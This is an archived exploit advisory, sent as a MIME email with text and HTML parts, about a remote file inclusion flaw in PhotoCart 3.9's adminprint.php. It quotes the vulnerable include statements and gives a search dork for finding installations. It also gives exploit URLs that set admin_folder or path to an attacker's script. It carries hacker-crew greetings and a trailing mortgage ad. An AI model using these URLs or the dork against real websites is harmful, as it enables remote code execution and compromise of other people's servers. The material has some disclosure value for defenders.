PhotoCart version 3.9 suffers from a remote file inclusion vulnerability in adminprint.php.
9d54801dcb5ca69678e8840e8d08b0b65c432ebd21cc84d92c44a95dbad83d37
--0-1006808724-1164114500=:98901
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
#####################################################################################################
#
# PhotoCart 3.9 (adminprint.php) Remote File Include Vulnerability
# Script site: http://www.picturespro.com/store/programs/129-photo_cart.html
# Dork : inurl :/PhotoCart/
#
#####################################################################################################
##
##
## Bug Found By : irvian
##
##
####################################################################################################
###
### GreetZ: jipank,kacung,trangkil,ibnusina,cah|gemblunkz,zoid
### Special greetz: #patihack #hitamputih #nyubicrew
###
#####################################################################################################
bug found on /PhotoCart/adminprint.php
include "setup.php";
$path = "$path";
$path = "$path";
include "$admin_folder/_admin_functions.php";
include "$path/_db.php";
adminsessionCheck();
Expl: http://www.site.com/PhotoCart/adminprint.php?admin_folder=[evil_scripts]
http://www.site.com/PhotoCart/adminprint.php?path=[evil_scripts]
---------------------------------
Sponsored Link
$420,000 Mortgage for $1,399/month - Think You Pay Too Much For Your Mortgage? Find Out!
--0-1006808724-1164114500=:98901
Content-Type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
#####################################################################################################<br>#<br># PhotoCart 3.9 (adminprint.php) Remote File Include Vulnerability<br># Script site: http://www.picturespro.com/store/programs/129-photo_cart.html<br># Dork : inurl :/PhotoCart/<br># <br>#####################################################################################################<br>##<br>##<br>## Bug Found By : irvian<br>## <br>##<br>####################################################################################################<br>###<br>### GreetZ: jipank,kacung,trangkil,ibnusina,cah|gemblunkz,zoid<br>### Special greetz: #patihack #hitamputih #nyubicrew<br>###<br>#####################################################################################################<br><br>bug found on /PhotoCart/adminprint.php<br><br>include "setup.php";<br>$path = "$path";<br>$path = "$path";<br>include
"$admin_folder/_admin_functions.php"; <br>include "$path/_db.php"; <br> adminsessionCheck(); <br><br><br>Expl: http://www.site.com/PhotoCart/adminprint.php?admin_folder=[evil_scripts] <br> http://www.site.com/PhotoCart/adminprint.php?path=[evil_scripts]<br><BR><BR><p>
<font color="666666"><font size="2"><hr size=1>Sponsored Link</font></font><br><br>$420,000 Mortgage for $1,399/month -
<a href="http://www.lowermybills.com/lre/index.jsp?sourceid=lmb-9135-16417&moid=4116">Think You Pay Too Much For Your Mortgage? Find Out!</a>
--0-1006808724-1164114500=:98901--